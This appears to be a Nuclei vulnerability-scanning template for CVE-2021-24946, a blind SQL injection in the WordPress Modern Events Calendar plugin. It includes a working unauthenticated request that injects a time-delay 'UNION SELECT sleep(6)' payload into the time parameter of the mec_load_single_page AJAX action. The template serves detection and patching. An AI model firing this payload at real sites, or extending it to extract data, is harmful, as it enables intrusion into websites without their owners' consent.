id: CVE-2021-24946 info: name: WordPress Modern Events Calendar <6.1.5 - Blind SQL Injection author: theamanrawat severity: critical description: | WordPress Modern Events Calendar plugin before 6.1.5 is susceptible to blind SQL injection. The plugin does not sanitize and escape the time parameter before using it in a SQL statement in the mec_load_single_page AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. impact: | Successful exploitation of this vulnerability could allow an attacker to extract sensitive information from the database. remediation: | Upgrade to WordPress Modern Events Calendar version 6.1.5 or later to mitigate this vulnerability. reference: - https://wpscan.com/vulnerability/09871847-1d6a-4dfe-8a8c-f2f53ff87445 - https://wordpress.org/plugins/modern-events-calendar-lite/ - https://nvd.nist.gov/vuln/detail/CVE-2021-24946 - http://packetstormsecurity.com/files/165742/WordPress-Modern-Events-Calendar-6.1-SQL-Injection.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2021-24946 cwe-id: CWE-89 epss-score: 0.12401 epss-percentile: 0.94864 cpe: cpe:2.3:a:webnus:modern_events_calendar_lite:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 1 vendor: webnus product: modern_events_calendar_lite framework: wordpress tags: cve2021,sqli,packetstorm,wp,wp-plugin,unauth,wpscan,cve,modern-events-calendar-lite,wordpress,webnus http: - raw: - | @timeout: 10s GET /wp-admin/admin-ajax.php?action=mec_load_single_page&time=1))%20UNION%20SELECT%20sleep(6)%20--%20g HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'duration>=6' - 'status_code == 200 || status_code == 500' - 'contains(content_type, "text/html")' - 'contains(body, "The event is finished") || contains(body, "been a critical error")' condition: and # digest: 490a004630440220127df7b41210f9ba6e8ca914f1f257ac47c717d75131bd3aeb69d51873bf2d4a02207ba53380aa03a5976bed793c5fdf19f198fb6e379383aa57532922832b5630d7:922c64590222798bb761d5b6d8e72950